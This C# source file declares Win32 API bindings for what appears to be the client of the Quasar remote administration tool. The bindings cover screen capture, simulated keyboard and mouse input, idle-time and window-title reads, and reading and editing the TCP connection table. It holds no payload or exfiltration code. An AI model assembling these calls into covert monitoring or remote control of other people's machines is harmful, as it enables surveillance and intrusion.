using System; using System.Net; using System.Runtime.InteropServices; using System.Text; namespace Quasar.Client.Utilities { /// /// Provides access to the Win32 API. /// public static class NativeMethods { [StructLayout(LayoutKind.Sequential)] internal struct LASTINPUTINFO { public static readonly int SizeOf = Marshal.SizeOf(typeof(LASTINPUTINFO)); [MarshalAs(UnmanagedType.U4)] public UInt32 cbSize; [MarshalAs(UnmanagedType.U4)] public UInt32 dwTime; } [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] internal static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool FreeLibrary(IntPtr hModule); [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = true)] internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32.dll", SetLastError = true)] internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); /// /// Performs a bit-block transfer of the color data corresponding to a /// rectangle of pixels from the specified source device context into /// a destination device context. /// /// Handle to the destination device context. /// The leftmost x-coordinate of the destination rectangle (in pixels). /// The topmost y-coordinate of the destination rectangle (in pixels). /// The width of the source and destination rectangles (in pixels). /// The height of the source and the destination rectangles (in pixels). /// Handle to the source device context. /// The leftmost x-coordinate of the source rectangle (in pixels). /// The topmost y-coordinate of the source rectangle (in pixels). /// A raster-operation code. /// /// true if the operation succeedes, false otherwise. To get extended error information, call . /// [DllImport("gdi32.dll", EntryPoint = "BitBlt", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool BitBlt([In] IntPtr hdc, int nXDest, int nYDest, int nWidth, int nHeight, [In] IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); [DllImport("gdi32.dll", CharSet = CharSet.Unicode)] internal static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); [DllImport("gdi32.dll")] internal static extern bool DeleteDC([In] IntPtr hdc); [DllImport("user32.dll")] internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); [DllImport("user32.dll")] internal static extern bool SetCursorPos(int x, int y); [DllImport("user32.dll", SetLastError = false)] internal static extern IntPtr GetMessageExtraInfo(); /// /// Synthesizes keystrokes, mouse motions, and button clicks. /// [DllImport("user32.dll")] internal static extern uint SendInput(uint nInputs, [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, int cbSize); [StructLayout(LayoutKind.Sequential)] internal struct INPUT { internal uint type; internal InputUnion u; internal static int Size => Marshal.SizeOf(typeof(INPUT)); } [StructLayout(LayoutKind.Explicit)] internal struct InputUnion { [FieldOffset(0)] internal MOUSEINPUT mi; [FieldOffset(0)] internal KEYBDINPUT ki; [FieldOffset(0)] internal HARDWAREINPUT hi; } [StructLayout(LayoutKind.Sequential)] internal struct MOUSEINPUT { internal int dx; internal int dy; internal int mouseData; internal uint dwFlags; internal uint time; internal IntPtr dwExtraInfo; } [StructLayout(LayoutKind.Sequential)] internal struct KEYBDINPUT { internal ushort wVk; internal ushort wScan; internal uint dwFlags; internal uint time; internal IntPtr dwExtraInfo; } [StructLayout(LayoutKind.Sequential)] internal struct HARDWAREINPUT { public uint uMsg; public ushort wParamL; public ushort wParamH; } [DllImport("user32.dll")] internal static extern bool SystemParametersInfo( uint uAction, uint uParam, ref IntPtr lpvParam, uint flags); [DllImport("user32.dll")] internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); [DllImport("user32.dll", CharSet = CharSet.Unicode)] internal static extern IntPtr OpenDesktop( string hDesktop, int flags, bool inherit, uint desiredAccess); [DllImport("user32.dll")] internal static extern bool CloseDesktop( IntPtr hDesktop); internal delegate bool EnumDesktopWindowsProc( IntPtr hDesktop, IntPtr lParam); [DllImport("user32.dll")] internal static extern bool EnumDesktopWindows( IntPtr hDesktop, EnumDesktopWindowsProc callback, IntPtr lParam); [DllImport("user32.dll")] internal static extern bool IsWindowVisible( IntPtr hWnd); [DllImport("user32.dll")] internal static extern IntPtr GetForegroundWindow(); [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] internal static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport("iphlpapi.dll", SetLastError = true)] internal static extern uint GetExtendedTcpTable(IntPtr pTcpTable, ref int dwOutBufLen, bool sort, int ipVersion, TcpTableClass tblClass, uint reserved = 0); [DllImport("iphlpapi.dll")] internal static extern int SetTcpEntry(IntPtr pTcprow); [StructLayout(LayoutKind.Sequential)] internal struct MibTcprowOwnerPid { public uint state; public uint localAddr; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] localPort; public uint remoteAddr; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; public uint owningPid; public IPAddress LocalAddress { get { return new IPAddress(localAddr); } } public ushort LocalPort { get { return BitConverter.ToUInt16(new byte[2] { localPort[1], localPort[0] }, 0); } } public IPAddress RemoteAddress { get { return new IPAddress(remoteAddr); } } public ushort RemotePort { get { return BitConverter.ToUInt16(new byte[2] { remotePort[1], remotePort[0] }, 0); } } } [StructLayout(LayoutKind.Sequential)] internal struct MibTcptableOwnerPid { public uint dwNumEntries; private readonly MibTcprowOwnerPid table; } internal enum TcpTableClass { TcpTableBasicListener, TcpTableBasicConnections, TcpTableBasicAll, TcpTableOwnerPidListener, TcpTableOwnerPidConnections, TcpTableOwnerPidAll, TcpTableOwnerModuleListener, TcpTableOwnerModuleConnections, TcpTableOwnerModuleAll } } }